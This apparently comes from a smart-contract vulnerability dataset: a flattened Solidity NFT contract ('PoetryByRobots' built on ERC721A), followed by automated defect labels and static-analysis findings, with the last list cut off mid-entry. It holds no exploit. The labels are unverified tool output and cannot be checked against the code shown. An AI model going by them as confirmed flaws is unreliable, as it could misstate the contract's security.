function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: contracts/ERC721A.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Assumes the number of issuable tokens (collection size) is capped and fits in a uint128.
*
* Does not support burning tokens to address(0).
*/
contract ERC721A is
Context,
ERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable
{
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 private currentIndex = 0;
uint256 internal immutable collectionSize;
uint256 internal immutable maxBatchSize;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) private _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev
* `maxBatchSize` refers to how much a minter can mint at a time.
* `collectionSize_` refers to how many tokens are in the collection.
*/
constructor(
string memory name_,
string memory symbol_,
uint256 maxBatchSize_,
uint256 collectionSize_
) {
require(
collectionSize_ > 0,
"ERC721A: collection must have a nonzero supply"
);
require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero");
_name = name_;
_symbol = symbol_;
maxBatchSize = maxBatchSize_;
collectionSize = collectionSize_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index)
public
view
override
returns (uint256)
{
require(index < totalSupply(), "ERC721A: global index out of bounds");
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
override
returns (uint256)
{
require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert("ERC721A: unable to get token of owner by index");
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(
owner != address(0),
"ERC721A: balance query for the zero address"
);
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(
owner != address(0),
"ERC721A: number minted query for the zero address"
);
return uint256(_addressData[owner].numberMinted);
}
function ownershipOf(uint256 tokenId)
internal
view
returns (TokenOwnership memory)
{
require(_exists(tokenId), "ERC721A: owner query for nonexistent token");
uint256 lowestTokenToCheck;
if (tokenId >= maxBatchSize) {
lowestTokenToCheck = tokenId - maxBatchSize + 1;
}
for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert("ERC721A: unable to determine the owner of token");
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString(), ".json"))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
require(to != owner, "ERC721A: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721A: approve caller is not owner nor approved for all"
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId)
public
view
override
returns (address)
{
require(
_exists(tokenId),
"ERC721A: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved)
public
override
{
require(operator != _msgSender(), "ERC721A: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, "");
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - there must be `quantity` tokens remaining unminted in the total collection.
* - `to` cannot be the zero address.
* - `quantity` cannot be larger than the max batch size.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), "ERC721A: mint to the zero address");
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), "ERC721A: token already minted");
require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high");
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
AddressData memory addressData = _addressData[to];
_addressData[to] = AddressData(
addressData.balance + uint128(quantity),
addressData.numberMinted + uint128(quantity)
);
_ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp));
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(
isApprovedOrOwner,
"ERC721A: transfer caller is not owner nor approved"
);
require(
prevOwnership.addr == from,
"ERC721A: transfer from incorrect owner"
);
require(to != address(0), "ERC721A: transfer to the zero address");
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp));
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId] = TokenOwnership(
prevOwnership.addr,
prevOwnership.startTimestamp
);
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
uint256 public nextOwnerToExplicitlySet = 0;
/**
* @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf().
*/
function _setOwnersExplicit(uint256 quantity) internal {
uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet;
require(quantity > 0, "quantity must be nonzero");
uint256 endIndex = oldNextOwnerToSet + quantity - 1;
if (endIndex > collectionSize - 1) {
endIndex = collectionSize - 1;
}
// We know if the last one in the group exists, all in the group exist, due to serial ordering.
require(_exists(endIndex), "not enough minted yet for this cleanup");
for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) {
if (_ownerships[i].addr == address(0)) {
TokenOwnership memory ownership = ownershipOf(i);
_ownerships[i] = TokenOwnership(
ownership.addr,
ownership.startTimestamp
);
}
}
nextOwnerToExplicitlySet = endIndex + 1;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(
_msgSender(),
from,
tokenId,
_data
)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert(
"ERC721A: transfer to non ERC721Receiver implementer"
);
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// File: contracts/PoetryByRobots.sol
pragma solidity ^0.8.0;
contract PoetryByRobots is Ownable, ERC721A, ReentrancyGuard {
uint256 public immutable maxPerAddressDuringMint;
uint256 public immutable mintPrice;
constructor(uint256 maxBatchSize_, uint256 collectionSize_, uint256 mintPrice_)
ERC721A("PoetryByRobots", "PBR", maxBatchSize_, collectionSize_)
{
maxPerAddressDuringMint = maxBatchSize_;
mintPrice = mintPrice_;
}
modifier callerIsUser() {
require(tx.origin == msg.sender, "The caller is another contract");
_;
}
function electricDream(uint256 quantity) external payable callerIsUser {
require(totalSupply() + quantity <= collectionSize, "reached max supply");
require(
numberMinted(msg.sender) + quantity <= maxPerAddressDuringMint,
"can not mint this many"
);
require(msg.value >= quantity * mintPrice);
_safeMint(msg.sender, quantity);
}
function devDream(uint256 quantity) external onlyOwner {
require(totalSupply() + quantity <= collectionSize, "reached max supply");
require(
numberMinted(msg.sender) + quantity <= maxPerAddressDuringMint,
"can not mint this many"
);
_safeMint(msg.sender, quantity);
}
function withdrawMoney() external onlyOwner nonReentrant {
uint bal = address(this).balance;
(bool success, ) = msg.sender.call{value: bal}("");
require(success, "Transfer failed.");
}
function refundIfOver(uint256 price) private {
require(msg.value >= price, "Need to send more ETH.");
if (msg.value > price) {
payable(msg.sender).transfer(msg.value - price);
}
}
function numberMinted(address owner) public view returns (uint256) {
return _numberMinted(owner);
}
string private _baseTokenURI;
function setBaseURI(string calldata baseURI) external onlyOwner {
_baseTokenURI = baseURI;
}
function showBaseURI() external view onlyOwner returns (string memory) {
return _baseTokenURI;
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
} | [{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["1138"]}, {"defect": "DelegateCall", "type": "Function_call", "severity": "High", "lines": ["421"]}, {"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["1190", "1134"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["89", "111", "229", "865"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["904"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["193", "941", "208", "702", "853", "571", "219"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["1232", "1245", "928", "1231", "1194", "1230"]}, {"defect": "Reentrancy", "type": "Function_call", "severity": "High", "lines": ["1376"]}] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"PoetryByRobots.sol": [1280, 1281, 1282]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"PoetryByRobots.sol": [268, 269, 270]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"PoetryByRobots.sol": [443, 444, 445, 446]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoetryByRobots.sol": [431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoetryByRobots.sol": [128, 129, 130, 131, 132, 133, 123, 124, 125, 126, 127]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoetryByRobots.sol": [290, 291, 292, 293, 294, 295]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoetryByRobots.sol": [344, 345, 346, 347, 348, 349, 350]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoetryByRobots.sol": [416, 417, 418, 419, 420, 421, 422, 423, 414, 415]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoetryByRobots.sol": [107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoetryByRobots.sol": [404, 405, 406]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoetryByRobots.sol": [358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoetryByRobots.sol": [157, 158, 159]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoetryByRobots.sol": [377, 378, 379]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoetryByRobots.sol": [1227, 1228, 1229, 1230, 1231, 1232, 1233, 1234, 1235, 1236, 1237, 1238, 1239, 1240, 1241, 1242, 1243, 1244, 1245, 1246]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoetryByRobots.sol": [325, 326, 327, 328, 329, 330, 331]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoetryByRobots.sol": [387, 388, 389, 390, 391, 392, 393, 394, 395, 396]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoetryByRobots.sol": [989, 990, 991]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoetryByRobots.sol": [1380, 1381, 1382, 1383, 1384, 1385]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"PoetryByRobots.sol": [315, 316, 317]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PoetryByRobots.sol": [1028, 1029, 1030, 1031, 1032, 1033, 1034, 1035, 1036]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PoetryByRobots.sol": [216, 217, 215]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PoetryByRobots.sol": [1065, 1066, 1067, 1068, 1069, 1070, 1071]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PoetryByRobots.sol": [996, 997, 998, 999, 1000, 1001, 1002, 1003, 1004, 1005, 1006]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PoetryByRobots.sol": [960, 958, 959]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PoetryByRobots.sol": [858, 859, 860, 861, 862, 863, 864, 865, 866, 867, 868, 869, 870, 871, 872, 873, 874, 875, 876, 877, 878, 879, 880, 881]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PoetryByRobots.sol": [224, 225, 226, 223]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PoetryByRobots.sol": [1056, 1057, 1058, 1059, 1060, 1054, 1055]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PoetryByRobots.sol": [843, 844, 845, 846, 847, 848, 849, 850, 851]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PoetryByRobots.sol": [965, 966, 967, 968, 969, 970, 971, 972, 973, 974, 975, 976, 977, 978, 979, 980, 981, 982]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PoetryByRobots.sol": [952, 953, 951]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"PoetryByRobots.sol": [140]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"PoetryByRobots.sol": [747]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"PoetryByRobots.sol": [6]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"PoetryByRobots.sol": [71]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"PoetryByRobots.sol": [239]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"PoetryByRobots.sol": [1333]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"PoetryByRobots.sol": [719]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"PoetryByRobots.sol": [514]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"PoetryByRobots.sol": [458]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"PoetryByRobots.sol": [544]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"PoetryByRobots.sol": [689]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"PoetryByRobots.sol": [166]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"PoetryByRobots.sol": [487]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"PoetryByRobots.sol": [1195]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"PoetryByRobots.sol": [196, 197, 198]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"PoetryByRobots.sol": [367]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"PoetryByRobots.sol": [1376]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"PoetryByRobots.sol": [421]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"PoetryByRobots.sol": [293]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"PoetryByRobots.sol": [394]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PoetryByRobots.sol": [1080]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"PoetryByRobots.sol": [1273]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"PoetryByRobots.sol": [1281]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"PoetryByRobots.sol": [1275]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"PoetryByRobots.sol": [1195]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"PoetryByRobots.sol": [926]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"PoetryByRobots.sol": [1280, 1281, 1282, 1283, 1284, 1265, 1266, 1267, 1268, 1269, 1270, 1271, 1272, 1273, 1274, 1275, 1276, 1277, 1278, 1279]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 128, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 216, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 867, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1127, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1141, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1148, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1186, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 6, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 71, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 140, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 166, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 239, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 458, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 487, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 514, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 544, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 689, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 719, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 747, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1333, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 36, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 37, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 39, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 77, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 182, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 787, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 793, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 796, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 800, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 803, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 806, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 809, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 1275, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 262, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 157, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1280, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 41, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 189, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 290, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 816, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1343, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 290, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 290, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 291, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 291, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 291, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 291, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 293, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 293, "severity": 1}, {"rule": 